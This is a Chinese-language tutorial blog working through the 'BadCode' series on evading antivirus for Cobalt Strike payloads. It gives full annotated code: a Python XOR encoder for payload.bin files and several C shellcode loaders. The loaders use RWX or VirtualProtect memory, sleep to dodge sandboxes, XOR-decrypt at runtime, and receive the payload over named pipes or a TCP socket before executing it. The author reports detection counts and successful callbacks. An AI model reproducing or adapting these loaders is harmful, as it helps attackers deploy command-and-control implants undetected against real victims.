简介
就是旋哥的BadCode系列，这次好好通读下，然后我在旋哥的代码上又改了些，加了些注释，里面函数原型等。俺慢慢更新
项目地址：https://github.com/Rvn0xsy/BadCode
第一课
主要介绍了下cs的raw和c，然后就是混淆
旋哥使用Python做的混淆 xor加密，然后我把功能是干啥的都写在了注释里，
import sys
from argparse import ArgumentParser, FileType
def process_bin(num, src_fp, dst_fp, dst_raw):
shellcode = \'\'
shellcode_size = 0
shellcode_raw = b\'\'
try:
while True:
code = src_fp.read(1) # 批量读取原始bin文件的1个字节
if not code: # 如果没有东西就跳出循环
break
base10 = ord(code) ^ num # 使用code的ASCII码值 异或 num
base10_str = chr(base10) # 然后把异或出来的值再转换为char类型
shellcode_raw += base10_str.encode() # 将转换回来的char类型再加密 然后拼接到shellcode_raw里
code_hex = hex(base10) # 转换为16进制
code_hex = code_hex.replace(\'0x\',\'\') # 然后把0x替换为空
if(len(code_hex) == 1): # 如果长度==1
code_hex = \'0\' + code_hex # 比如是1 就变成01
shellcode += \'\\x\' + code_hex # 最后\x01拼接到shellcode里
shellcode_size += 1 # 长度+1个字节
# 然后while读取整个文件 1. xor 2. 转为char 3. 编码 4. 转换
src_fp.close() # 关闭原始的bin文件
dst_raw.write(shellcode_raw) # 向新的bin文件写入
dst_raw.close() # 写入完然后关闭
dst_fp.write(shellcode) # 向c文件写入shellcode
dst_fp.close() # 写入完然后关闭
return shellcode_size # 最后返回shellcode的长度
except Exception as e: # 错误处理
sys.stderr.writelines(str(e))
def main():
# 以下这些就是设置参数
# type：参数类型
# required：是否可以省略参数
parser = ArgumentParser(prog=\'Shellcode X\', description=\'[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: rvn0xsy@gmail.com\')
parser.add_argument(\'-v\',\'--version\',nargs=\'?\')
parser.add_argument(\'-s\',\'--src\',help=u\'source bin file\',type=FileType(\'rb\'), required=True)
parser.add_argument(\'-d\',\'--dst\',help=u\'destination shellcode file\',type=FileType(\'w+\'),required=True)
parser.add_argument(\'-n\',\'--num\',help=u\'Confused number\',type=int, default=90)
parser.add_argument(\'-r\',\'--raw\',help=u\'output bin file\', type=FileType(\'wb\'), required=False)
args = parser.parse_args()
shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)
sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))
if __name__ == "__main__":
main()
21line 默认是\x，转义符的问题 \\x解决
第二课
申请内存，并创建线程加载shellcode，然后就是xor解密然后加载
这是一个普通的，并没有xor
#include <Windows.h>
// 入口函数
int wmain(int argc,TCHAR * argv[]){
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
/* length: 800 bytes */
unsigned char buf[] = "";
// 获取shellcode大小
shellcode_size = sizeof(buf);
/*
函数原型
LPVOID VirtualAlloc(
LPVOID lpAddress, // 指向要分配区域的指定起始地址的长指针，如果为NULL系统自动分配
DWORD dwSize, // 指定区域的大小
DWORD flAllocationType, // 指定分配类型。
DWORD flProtect // 指定访问保护的类型
);
*/
char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size, // shellcode的大小
MEM_COMMIT, // 为指定的页面区域在内存或磁盘上的页面文件中分配物理存储
PAGE_EXECUTE_READWRITE // 启用对页面提交区域的执行、读取和写入访问。
);
/*
void CopyMemory(
_In_ PVOID Destination, // 指向复制块目标起始地址的指针
_In_ const VOID *Source, // 指向要复制的内存块起始地址的指针。
_In_ SIZE_T Length // 要复制的内存大小
);
*/
// 将shellcode复制到可执行的内存页中
CopyMemory(shellcode,buf,shellcode_size); // 1. 刚申请的一块内存(shellcode) 2. 原来的数据的指针 3. 所需大小
/*
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全描述符
SIZE_T dwStackSize, // 堆栈的初始大小，如果为0系统给一个默认的
LPTHREAD_START_ROUTINE lpStartAddress, // 指向要由线程执行的应用程序定义函数的指针
__drv_aliasesMem LPVOID lpParameter, // 指向要传递给线程的变量的指针
DWORD dwCreationFlags, // 创建线程的标志
LPDWORD lpThreadId // 线程ID
);
*/
// 创建线程
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
/*
DWORD WaitForSingleObject(
HANDLE hHandle, // HANDLE
DWORD dwMilliseconds // 如果指定了非零值，则函数会等待，直到对象发出信号或间隔结束。如果dwMilliseconds为零，如果对象没有发出信号，函数不会进入等待状态；它总是立即返回。
如果dwMilliseconds是INFINITE，则该函数将仅在对象收到信号时返回。
);
*/
// 等待线程
WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束, INFINITE是一个宏
return 0;
}
利用xor解密
这里shellcode[i]每一个与0x10再异或，得出原始的shellcode，再进行加载
#include <Windows.h>
#include <stdio.h>
int main()
{
unsigned char buf[] = "";
int length = sizeof(buf) / sizeof(buf[0]);
for (int i = 0; i<length - 1; i++)
{
buf[i] ^= 0x10;
}
for (int i = 0; i < sizeof(buf)/sizeof(buf[0]); i++)
{
printf("\\x%x", buf[i]);
}
}
自己写的一个xor的加密代码 0x10就是key
第三课
主要是利用VirtualProtect函数改变VirtualAlloc申请地址的属性
#include <Windows.h>
int wmain(int argc,TCHAR * argv[]){
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
unsigned char buf[] = "";
// 获取shellcode大小
shellcode_size = sizeof(buf);
/* 增加异或代码 */
for(int i = 0;i<shellcode_size; i++){
buf[i] ^= 10;
}
char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 启用对页面提交区域的读写访问。不再是可读可写可执行
);
// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode,buf,shellcode_size);
/*
函数原型
BOOL VirtualProtect(
LPVOID lpAddress, // 要更改访问保护属性的页面区域的起始页面地址。 我们要修改shellcode的属性，就是shellcode
SIZE_T dwSize, // 大小
DWORD flNewProtect, // 内存保护选项
PDWORD lpflOldProtect // 指向一个变量的指针，该变量接收指定页面区域中第一页的先前访问保护值；也就是某个地址
);
*/
// 这里开始更改它的属性为可执行
VirtualProtect(shellcode,shellcode_size,PAGE_EXECUTE,&dwOldProtect); // 1. 被更改的 2. 大小 3. 启用对页面提交区域的执行访问(原来只是可读可写) 4. 原来的属性
// 等待几秒，兴许可以跳过某些沙盒呢？
Sleep(2000);
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
return 0;
}
其实这里修改的地方只有
- 申请的时候，光申请了可读可写，但是并不能执行
- 利用
VirtualProtect函数修改shellcode的属性，并变成了可执行
报了六个的是普通的申请可读可写可执行权限的xor解密执行，报了四个的是先申请可读可写，后又修改属性变成可执行的程序
然后再在上面的代码的基础上，不使用手动异或来进行操作，使用自带函数
在测这个的时候，我还以为不上线呢，最后发现是sleep的问题 得等段时间了 然后我做了下输出、
InterlockedXor8这个函数是对char值做异或，(但是我觉得做正常手动异或，应该没事吧)
LONG InterlockedXor(
LONG volatile *Destination, // 指向第一个操作数的指针。该值将替换为操作的结果。 所以要+i，向后走 一个个异或替换
LONG Value
);
最后测试也是4个报毒，看来我之前的猜测没有错
第四课
这一节就涉及到命名管道和文件的操作读写，代码比较多一些，注释也比较多一些，所以比较杂乱
整体的代码思路也就是，创建一个管道，然后调用RecvShellcode函数，将shellcode写入管道，最后再通过读取管道中的内容，xor解密，最后申请内存，并加载shellcode
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>
#define BUFF_SIZE 1024
PTCHAR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest"); // 匿名管道的名称 也就是 \\.\pipe\BadCodeTest
char buf[] = "";
BOOL RecvShellcode(VOID) {
HANDLE hPipeClient; // 客户端的句柄
DWORD dwWritten; // 写入长度 dwWriteLen不更好 哈哈
DWORD dwShellcodeSize = sizeof(buf); // shellcode的长度
// 等待管道可用
WaitNamedPipe(ptsPipeName, NMPWAIT_WAIT_FOREVER); // 等待\\.\pipe\BadCodeTest有信号，
/*
HANDLE CreateFileA(
LPCSTR lpFileName, // 要创建或打开的文件或设备的名称
DWORD dwDesiredAccess, // 请求的对文件或设备的访问，读，写，读或写
DWORD dwShareMode, // 请求的文件或设备的共享模式，删除，读取，写入
LPSECURITY_ATTRIBUTES lpSecurityAttributes, // 安全描述符
DWORD dwCreationDisposition, // 对存在或不存在的文件或设备采取的操作，通常为：OPEN_EXISTING
DWORD dwFlagsAndAttributes, // 文件或设备属性和标志
HANDLE hTemplateFile // 具有GENERIC_READ访问权限的模板文件的有效句柄
);
*/
// 连接\\.\pipe\BadCodeTest，然后请求对文件的写入，客户端只读取，安全描述为为NULL，打开文件或设备，文件没有其他属性，没有句柄
hPipeClient = CreateFile(ptsPipeName,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING ,FILE_ATTRIBUTE_NORMAL,NULL);
if(hPipeClient == INVALID_HANDLE_VALUE){ // 判断是否失败，失败的返回值是INVALID_HANDLE_VALUE
printf("[+]Can\'t Open Pipe , Error : %d \n",GetLastError());
return FALSE;
}
/*
BOOL WriteFile(
HANDLE hFile, // 文件或 I/O 设备的句柄
LPCVOID lpBuffer, // 要写入的数据，要写入shellcode，就是shellcode
DWORD nNumberOfBytesToWrite, // 要写入文件或设备的字节数
LPDWORD lpNumberOfBytesWritten, // 该接收使用同步时写入的字节数
LPOVERLAPPED lpOverlapped // 如果hFile参数是用FILE_FLAG_OVERLAPPED打开的，则需要指向OVERLAPPED结构的指针，否则该参数可以为 NULL。
);
*/
// 写入shellcode
WriteFile(hPipeClient, buf, dwShellcodeSize, &dwWritten, NULL); // WriteFile写入文件，写入到\\.\pipe\BadCodeTest里
if (dwWritten == dwShellcodeSize) { // 如果成功写入，这两个应该是一样的
CloseHandle(hPipeClient); // 然后关掉句柄 打印成功，返回成功
printf("[+]Send Success ! Shellcode : %d Bytes\n", dwShellcodeSize);
return TRUE;
}
CloseHandle(hPipeClient); // 如果不成功，关掉句柄 返回失败
return FALSE;
}
int wmain(int argc, TCHAR * argv[]) {
HANDLE hPipe; // 匿名管道的句柄
DWORD dwError; // Error的接收值
CHAR szBuffer[BUFF_SIZE]; // Buff大小 宏定义了BUFF_SIZE = 1024
DWORD dwLen; // 读取字节数变量的指针
PCHAR pszShellcode = NULL; // shellcode
DWORD dwOldProtect; // 内存页属性
HANDLE hThread; // 线程句柄
DWORD dwThreadId; // 线程ID
/*
// 创建命名管道的实例并返回用于后续管道操作的句柄
HANDLE CreateNamedPipe(
LPCSTR lpName, // 命名管道的名称
DWORD dwOpenMode, // 开放模式
DWORD dwPipeMode, // 管道模式
DWORD nMaxInstances, // 管道创建的最大实例数，可接受的值在 1 到PIPE_UNLIMITED_INSTANCES (255)的范围内
DWORD nOutBufferSize, // 为输出缓冲区保留的字节数
DWORD nInBufferSize, // 为输入缓冲区保留的字节数
DWORD nDefaultTimeOut, // 默认超时值，零值将导致默认超时为 50 毫秒。
LPSECURITY_ATTRIBUTES lpSecurityAttributes // 老朋友了 安全描述符
);
*/
hPipe = CreateNamedPipe(
ptsPipeName, // \\.\pipe\BadCodeTest
PIPE_ACCESS_INBOUND, // 管道中的数据流仅从客户端到服务器
PIPE_TYPE_BYTE | PIPE_WAIT, // PIPE_TYPE_BYTE：数据作为字节流写入管道，PIPE_WAIT：阻塞模式启用，等到有数据要读取、所有数据都已写入或客户端已连接时，操作才会完成
PIPE_UNLIMITED_INSTANCES, // PIPE_UNLIMITED_INSTANCES也就是最大的255
BUFF_SIZE, // 1024
BUFF_SIZE, // 1024
0, // 50MS
NULL); // 空
if (hPipe == INVALID_HANDLE_VALUE) { // 也就是如果函数失败了(INVALID_HANDLE_VALUE)
dwError = GetLastError(); // 获取错误信息
printf("[-]Create Pipe Error : %d \n", dwError); // 然后打印
return dwError;
}
// 创建一个写入shellcode的线程
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)RecvShellcode, NULL, NULL, NULL);
/*
BOOL ConnectNamedPipe(
HANDLE hNamedPipe, // 命名管道实例的服务器端的句柄
LPOVERLAPPED lpOverlapped // 如果客户端在调用函数后连接，则成功的同步操作会导致函数返回非零值
);
*/
if (ConnectNamedPipe(hPipe, NULL) > 0) { // 其实我觉得这里改为 !=0 应该更好
printf("[+]Client Connected...\n"); // 客户端连接
/*
BOOL ReadFile(
HANDLE hFile, // 设备句柄
LPVOID lpBuffer, // 指向接收从文件或设备读取的数据的缓冲区的指针
DWORD nNumberOfBytesToRead, // 读取的最大字节数
LPDWORD lpNumberOfBytesRead, // 一个指向接收使用同步hFile参数时读取的字节数的变量的指针
LPOVERLAPPED lpOverlapped // 如果hFile参数是用FILE_FLAG_OVERLAPPED打开的， 则需要指向OVERLAPPED结构的指针，否则它可以是NULL。
);
*/
ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL); // ReadFile读取文件，从hPipe读取到szBuffer里，最大数是1024
printf("[+]Get DATA Length : %d \n", dwLen); // 打印长度
// 剩下的都是老一套了
// 申请内存页
pszShellcode = (PCHAR)VirtualAlloc(NULL, dwLen, MEM_COMMIT, PAGE_READWRITE);
// 拷贝内存
CopyMemory(pszShellcode, szBuffer, dwLen);
for (DWORD i = 0; i< dwLen; i++) {
Sleep(50);
InterlockedXor8(pszShellcode + i, 0X10);
printf("%c \n", pszShellcode[i]);
}
// 这里开始更改它的属性为可执行
VirtualProtect(pszShellcode, dwLen, PAGE_EXECUTE, &dwOldProtect);
// 执行Shellcode
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)pszShellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE);
}
return 0;
}
因为解密有些慢，所以上线要等一会，我打印出来比较明显
等到跑完，就上线了。也可以分开整个Server端，写入管道，client端 读取然后加载
第五课
也就是分离免杀了，有上面的命名管道实现分离免杀，还有网络传输实现分离免杀
命名管道的因为上面写的比较细，我这下面就写的粗略一点了，但是网络传输的还是会仔细一些
命名管道
一开始按照我自己的思路敲的 但是不可以，我的思路还是有问题
Server
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>
#define BUFF_SIZE 1024
char buf[] = "";
PTCHAR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");
BOOL RecvShellcode(VOID) {
DWORD dwError;
HANDLE hPipeClient;
DWORD dwWritten;
DWORD dwShellcodeSize = sizeof(buf);
HANDLE hPipe;
// 等待管道可用
WaitNamedPipe(ptsPipeName, NMPWAIT_WAIT_FOREVER);
// 连接管道
hPipeClient = CreateFile(ptsPipeName, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hPipeClient == INVALID_HANDLE_VALUE) {
printf("[+]Can\'t Open Pipe , Error : %d \n", GetLastError());
return FALSE;
}
WriteFile(hPipeClient, buf, dwShellcodeSize, &dwWritten, NULL);
if (dwWritten == dwShellcodeSize) {
CloseHandle(hPipeClient);
printf("[+]Send Success ! Shellcode : %d Bytes\n", dwShellcodeSize);
return TRUE;
}
CloseHandle(hPipeClient);
return FALSE;
}
int wmain(int argc, TCHAR * argv[]) {
RecvShellcode();
return 0;
}
Server没啥可说的，就是等待命名管道的信号，然后将shellcode写入
Client
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>
#define BUFF_SIZE 1024
PTCHAR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");
int wmain(int argc, TCHAR * argv[]) {
HANDLE hPipe;
DWORD dwError;
CHAR szBuffer[BUFF_SIZE];
DWORD dwLen;
PCHAR pszShellcode = NULL;
DWORD dwOldProtect; // 内存页属性
HANDLE hThread;
DWORD dwThreadId;
hPipe = CreateNamedPipe(
ptsPipeName, // \\.\pipe\BadCodeTest
PIPE_ACCESS_INBOUND, // 管道中的数据流仅从客户端到服务器
PIPE_TYPE_BYTE | PIPE_WAIT, // PIPE_TYPE_BYTE：数据作为字节流写入管道，PIPE_WAIT：阻塞模式启用，等到有数据要读取、所有数据都已写入或客户端已连接时，操作才会完成
PIPE_UNLIMITED_INSTANCES, // PIPE_UNLIMITED_INSTANCES也就是最大的255
BUFF_SIZE, // 1024
BUFF_SIZE, // 1024
0, // 50MS
NULL); // 空
if (hPipe == INVALID_HANDLE_VALUE) { // 也就是如果函数失败了(INVALID_HANDLE_VALUE)
dwError = GetLastError(); // 获取错误信息
printf("[-]Create Pipe Error : %d \n", dwError); // 然后打印
return dwError;
}
if (ConnectNamedPipe(hPipe, NULL) > 0) {
printf("[+]Client Connected...\n");
ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
printf("[+]Get DATA Length : %d \n", dwLen);
// 申请内存页
pszShellcode = (PCHAR)VirtualAlloc(NULL, dwLen, MEM_COMMIT, PAGE_READWRITE);
// 拷贝内存
CopyMemory(pszShellcode, szBuffer, dwLen);
for (DWORD i = 0; i< dwLen; i++) {
InterlockedXor8(pszShellcode + i, 0X10);
printf("%c \n", pszShellcode[i]);
}
// 这里开始更改它的属性为可执行
VirtualProtect(pszShellcode, dwLen, PAGE_EXECUTE, &dwOldProtect);
// 执行Shellcode
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)pszShellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE);
}
return 0;
}
客户端创建了匿名管道后，然后服务端获取信号，立即写入shellcode，然后获取解密 加载执行
SOCKET
我日 旋哥的这个写法和我自己的思路有点不一样；
先看服务端，但是旋哥叫客户端，我有点理解不了 哈哈
我觉得服务端是发送shellcode的，客户端是接收shellcode并加载的
整体的思路就是Client端运行后监听 然后Server端发送shellcode，客户端接收；其实可以服务端监听 等待有消息后然后发送，因为我原来写分离免杀就是这个样，看我以后懒不懒了，要是不懒就发出来
Server
下面的inet_addr("10.10.0.142")，要换成监听的Client端的IP
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>
#pragma comment(lib,"ws2_32.lib") // 加载ws2_32.lib库文件
char buf[] = ""; // shellcode
int wmain(int argc, TCHAR argv[]) { // 入口函数
DWORD dwError; // 接收错误的变量
WORD sockVersion = MAKEWORD(2, 2); // 版本
WSADATA wsaData; // WSADATA数据结构的指针 ，用于接收 Windows 套接字实现的详细信息
SOCKET socks; // 一个SOCKET套接字
SHORT sListenPort = 8888; // 监听端口
struct sockaddr_in sin; // SOCKADDR_IN 结构为AF_INET地址族指定传输地址和端口
if (WSAStartup(sockVersion, &wsaData) != 0) // 使用Winsock 2 DLL，用于初始化WinSock；如果成功, WSAStartup函数返回零
{
dwError = GetLastError();
printf("[*]WSAStarup Error : %d \n", dwError);
return dwError;
}
/*
SOCKET WSAAPI socket(
int af, // 地址族规范，AF_INET：IPV4
int type, // 新套接字的类型规范。SOCK_STREAM是一种套接字类型，通过 OOB 数据传输机制提供有序的、可靠的、双向的、基于连接的字节流。此套接字类型使用 Internet 地址族（AF_INET 或 AF_INET6）的传输控制协议 (TCP)。
int protocol // 要使用的协议
);
*/
socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // 建立SOCKET套接字
if (socks == INVALID_SOCKET) // 如果失败就返回INVALID_SOCKET
{
dwError = GetLastError();
printf("[*]Socket Error : %d \n", dwError);
return dwError;
}
// 然后配置sockaddr_in结构体
sin.sin_family = AF_INET; // 传输地址的地址族。此成员应始终设置为 AF_INET。
sin.sin_port = htons(sListenPort); // 传输协议端口号，htons：将主机的无符号短整形数转换成网络字节顺序
sin.sin_addr.S_un.S_addr = inet_addr("10.10.0.142"); // 也就是客户端的ip 包含 IPv4 传输地址的 IN_ADDR结构。inet_addr函数转换包含IPv4的字符串点分十进制地址转换成一个适当的地址 IN_ADDR结构
/*
int WSAAPI connect(
SOCKET s, // 标识未连接套接字的描述符
const sockaddr *name, // 指向应建立连接的sockaddr结构的指针 。
int namelen // 指向的sockaddr结构的长度
);
*/
if (connect(socks, (struct sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR) // 链接到制定的socket
{
dwError = GetLastError();
printf("[*]Bind Error : %d \n", dwError);
return dwError;
}
/*
int WSAAPI send(
SOCKET s, // 已连接的socket套接字
const char *buf, // 要发送的数据
int len, // 长度
int flags // 一组指定调用方式的标志
);
*/
int ret = send(socks, buf, sizeof(buf), 0); // 往指定的socket上发送数据
if (ret > 0) // 如果没有发生错误， send返回发送的总字节数
{
printf("[+]Send %d-Bytes \n", ret);
closesocket(socks); // 发送完数据就关闭套接字
}
WSACleanup(); // 终止使用
return 0;
}
Client
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>
#pragma comment(lib,"ws2_32.lib")
BOOL RunCode(CHAR * code, DWORD dwCodeLen) // 执行ShellCode的函数，这里又不解释了
{
HANDLE hThread;
DWORD dwOldProtect;
DWORD dwThreadId;
PCHAR pszShellcode = (PCHAR)VirtualAlloc(NULL, dwCodeLen, MEM_COMMIT, PAGE_READWRITE);
CopyMemory(pszShellcode, code, dwCodeLen);
for (DWORD i = 0; i< dwCodeLen; i++) {
InterlockedXor8(pszShellcode + i, 0X10);
printf("%c \n", pszShellcode[i]);
}
// 这里开始更改它的属性为可执行
VirtualProtect(pszShellcode, dwCodeLen, PAGE_EXECUTE, &dwOldProtect);
// 执行Shellcode
hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)pszShellcode,NULL,NULL,&dwThreadId);
WaitForSingleObject(hThread, INFINITE);
return TRUE;
}
int wmain(int argc, TCHAR argv[]) {
// 下面的参数和服务端的差不多 就不解释了，其实看变量名很多都知道是干什么的
CHAR buf[1024]; // 要接收的shellcode
DWORD dwError;
WORD sockVersion = MAKEWORD(2, 2);
WSADATA wsaData;
SOCKET socks;
SOCKET sClient; // recv等待成功后会返回一个新的套接字
struct sockaddr_in s_client; // 接收连接实体的地址
INT nAddrLen = sizeof(s_client); // 一个指向整数的可选指针，该整数包含由addr参数指向的结构的长度
SHORT sListenPort = 8888;
struct sockaddr_in sin;
if (WSAStartup(sockVersion, &wsaData) != 0) // 老一套
{
dwError = GetLastError();
printf("[*]WSAStarup Error : %d \n", dwError);
return dwError;
}
socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // 老一套
if (socks == INVALID_SOCKET) // 老一套
{
dwError = GetLastError();
printf("[*]Socket Error : %d \n", dwError);
return dwError;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(sListenPort); // 端口
sin.sin_addr.S_un.S_addr = INADDR_ANY; // INADDR_ANY就是指定地址为0.0.0.0的地址 因为他是监听
/*
int WSAAPI bind(
SOCKET s, // 未绑定套接字
const sockaddr *name, // 要分配给绑定套接字的本地地址的sockaddr结构的指针。
int namelen // 长度
);
*/
if (bind(socks, (struct sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR) // 进行绑定
{
dwError = GetLastError();
printf("[*]Bind Error : %d \n", dwError);
return dwError;
}
/*
int WSAAPI listen(
SOCKET s, // 标识绑定的未连接套接字
int backlog // 处理的最大长度
);
*/
if (listen(socks, 5) == SOCKET_ERROR) // 监听
{
dwError = GetLastError();
printf("[*]Listen Error : %d \n", dwError);
return dwError;
}
else
{
printf("开启监听\n");
}
/*
SOCKET WSAAPI accept(
SOCKET s, // 标识已使用侦听功能置于侦听状态的套接字，也就是我们上面listen的第一个参数
sockaddr *addr, // 一个可选的指向缓冲区的指针，该缓冲区接收连接实体的地址
int *addrlen // 一个指向整数的可选指针，该整数包含由addr参数指向的结构的长度
);
*/
sClient = accept(socks, (SOCKADDR *)&s_client, &nAddrLen); // 接受要发过来的请求
/*
int WSAAPI recv(
SOCKET s, // 已连接套接字的描述符，可以理解成以接受的那个变量
char *buf, // 接收传入数据到指定的缓冲区的指针
int len, // 接收的长度
int flags // 一组影响此函数行为的标志
);
*/
int ret = recv(sClient, buf, sizeof(buf), 0); // 接收数据 shellcode
if (ret > 0) // 如果接收成功，关闭两个套接字
{
printf("[+]Recv %d-Bytes \n", ret);
closesocket(sClient);
closesocket(socks);
}
WSACleanup(); // 关闭
RunCode(buf, sizeof(buf)); // 然后加载shellcode
return 0;
}
然后测试，运行Client 开始监听，运行Server发送shellcode到Client，加载执行
上线成功
